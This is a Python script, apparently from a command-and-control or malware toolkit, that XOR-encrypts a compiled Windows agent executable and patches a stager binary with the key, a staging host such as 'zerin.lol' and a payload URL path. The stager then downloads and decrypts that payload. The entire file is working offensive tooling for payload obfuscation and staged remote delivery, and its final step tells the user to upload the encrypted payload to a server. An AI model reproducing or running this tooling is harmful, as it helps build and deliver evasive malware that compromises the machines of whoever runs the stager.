#!/usr/bin/env python3
"""
build_stager.py - Encrypt agent payload for staged delivery.

Takes a compiled agent .exe and produces:
  1. An encrypted .bin file (XOR with random 32-byte key)
  2. Prints the XOR key hex for patching into the stager binary

Usage:
  python tools/build_stager.py --payload <agent.exe> --host <domain> --payload-id <id> --output <dir>
"""
import os
import sys
import struct
import argparse


def xor_encrypt(data: bytes, key: bytes) -> bytes:
    """XOR encrypt/decrypt data with a repeating key."""
    out = bytearray(len(data))
    key_len = len(key)
    for i in range(len(data)):
        out[i] = data[i] ^ key[i % key_len]
    return bytes(out)


def patch_stager_binary(stager_data: bytearray, key: bytes,
                        host: str, payload_id: str, port: int) -> bytearray:
    """Patch the compiled stager binary with the real key, host, and path.

    Finds placeholder byte patterns and replaces them in-place.
    """
    # Patch XOR key (find 32 zero bytes that are the STAGE_KEY placeholder)
    # The key placeholder is 32 consecutive 0x00 bytes. To avoid false matches,
    # look for the specific pattern near a known marker.
    key_marker = b'\x00' * 32
    idx = stager_data.find(key_marker)
    if idx != -1:
        stager_data[idx:idx+32] = key
    else:
        print("WARNING: Could not find key placeholder in stager binary", file=sys.stderr)

    # Patch host (wide string "PLACEHOLDER_HOST_PLACEHOLDER_HOST" = UTF-16LE)
    host_marker = "PLACEHOLDER_HOST_PLACEHOLDER_HOST".encode('utf-16-le')
    host_wide = host.encode('utf-16-le')
    idx = stager_data.find(host_marker)
    if idx != -1:
        # Zero-fill the placeholder, then write the real host
        stager_data[idx:idx+len(host_marker)] = b'\x00' * len(host_marker)
        stager_data[idx:idx+len(host_wide)] = host_wide
    else:
        print("WARNING: Could not find host placeholder in stager binary", file=sys.stderr)

    # Patch path (wide string with payload ID)
    path_marker = "/api/payloads/PLACEHOLDER_ID_PLACEHOLDER/stage".encode('utf-16-le')
    real_path = f"/api/payloads/{payload_id}/stage".encode('utf-16-le')
    idx = stager_data.find(path_marker)
    if idx != -1:
        stager_data[idx:idx+len(path_marker)] = b'\x00' * len(path_marker)
        stager_data[idx:idx+len(real_path)] = real_path
    else:
        print("WARNING: Could not find path placeholder in stager binary", file=sys.stderr)

    # Patch port (find the 16-bit value 443 = 0x01BB in little-endian)
    # This is trickier -- port patching is optional for non-443 ports
    if port != 443:
        print(f"NOTE: Non-standard port {port} -- manual patching may be needed", file=sys.stderr)

    return stager_data


def main():
    parser = argparse.ArgumentParser(description="Encrypt agent payload for staged delivery")
    parser.add_argument("--payload", required=True,
                        help="Path to compiled agent .exe")
    parser.add_argument("--host", required=True,
                        help="Staging server hostname (e.g., zerin.lol)")
    parser.add_argument("--port", type=int, default=443,
                        help="Staging server port (default: 443)")
    parser.add_argument("--payload-id", required=True,
                        help="Payload ID for staging URL path")
    parser.add_argument("--stager", default=None,
                        help="Path to compiled stager.exe to patch (optional)")
    parser.add_argument("--output", required=True,
                        help="Output directory for encrypted payload + patched stager")
    args = parser.parse_args()

    if not os.path.isfile(args.payload):
        print(f"ERROR: Payload not found: {args.payload}", file=sys.stderr)
        sys.exit(1)

    os.makedirs(args.output, exist_ok=True)

    # Generate random 32-byte XOR key
    key = os.urandom(32)

    # Read and encrypt the agent payload
    with open(args.payload, "rb") as f:
        payload_data = f.read()

    if payload_data[:2] != b'MZ':
        print(f"ERROR: Payload is not a valid PE: {args.payload}", file=sys.stderr)
        sys.exit(1)

    encrypted = xor_encrypt(payload_data, key)

    # Write encrypted payload
    enc_path = os.path.join(args.output, "payload.bin")
    with open(enc_path, "wb") as f:
        f.write(encrypted)

    print(f"Encrypted payload: {enc_path}")
    print(f"  Original size: {len(payload_data):,} bytes")
    print(f"  Encrypted size: {len(encrypted):,} bytes")
    print(f"  XOR key: {key.hex()}")

    # Patch stager binary if provided
    if args.stager:
        if not os.path.isfile(args.stager):
            print(f"ERROR: Stager binary not found: {args.stager}", file=sys.stderr)
            sys.exit(1)

        with open(args.stager, "rb") as f:
            stager_data = bytearray(f.read())

        stager_data = patch_stager_binary(stager_data, key, args.host, args.payload_id, args.port)

        patched_path = os.path.join(args.output, "stager.exe")
        with open(patched_path, "wb") as f:
            f.write(stager_data)

        print(f"Patched stager: {patched_path}")
        print(f"  Host: {args.host}")
        print(f"  Path: /api/payloads/{args.payload_id}/stage")
        print(f"  Port: {args.port}")
    else:
        print(f"\nTo patch a stager binary, re-run with --stager <stager.exe>")
        print(f"  Stage URL: https://{args.host}:{args.port}/api/payloads/{args.payload_id}/stage")

    print("\nUpload payload.bin to the server's payloads directory for staged delivery.")


if __name__ == "__main__":
    main()